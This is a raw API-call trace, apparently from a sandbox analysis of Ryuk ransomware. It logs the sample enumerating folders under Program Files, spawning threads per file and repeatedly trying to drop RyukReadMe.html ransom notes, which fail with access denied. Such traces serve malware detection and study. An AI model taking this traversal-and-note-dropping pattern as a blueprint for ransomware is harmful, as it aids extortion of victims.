	[0232.075] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.075] GetLastError () returned 0x5
	[0232.076] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.076] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x40, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
	[0232.076] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x40, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1
	[0232.076] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf54
	[0232.078] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x40, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x40, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x40, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x40, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x40, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x40, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x40, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cefb0, ftCreationTime.dwHighDateTime=0x1d54e69, ftLastAccessTime.dwLowDateTime=0xfabe3e50, ftLastAccessTime.dwHighDateTime=0x1d54118, ftLastWriteTime.dwLowDateTime=0xfabe3e50, ftLastWriteTime.dwHighDateTime=0x1d54118, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x40, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x40, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x40, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1
	[0232.079] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x40, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1
	[0232.080] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0232.080] SetLastError (dwErrCode=0x0) 
	[0232.080] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.080] GetLastError () returned 0x5
	[0232.080] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0232.080] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.081] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x64, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0232.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c
	[0232.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.190] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x64, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0
	[0232.190] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0232.190] SetLastError (dwErrCode=0x0) 
	[0232.191] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\signup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.191] GetLastError () returned 0x5
	[0232.191] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.191] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.191] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0232.191] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x40, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0232.191] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0232.191] SetLastError (dwErrCode=0x0) 
	[0232.191] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\program files\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.192] GetLastError () returned 0x5
	[0232.192] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.192] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d959d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d959d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0232.192] SetLastError (dwErrCode=0x0) 
	[0232.192] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.192] GetLastError () returned 0x5
	[0232.192] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d959d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d959d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0232.193] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d959d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d959d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.193] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0232.193] SetLastError (dwErrCode=0x0) 
	[0232.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.193] GetLastError () returned 0x5
	[0232.193] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.194] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0232.194] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.194] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x78, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1
	[0232.194] SetLastError (dwErrCode=0x0) 
	[0232.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.194] GetLastError () returned 0x5
	[0232.194] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0232.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0232.253] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.254] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0232.254] SetLastError (dwErrCode=0x0) 
	[0232.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.263] GetLastError () returned 0x5
	[0232.263] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0232.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0232.291] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
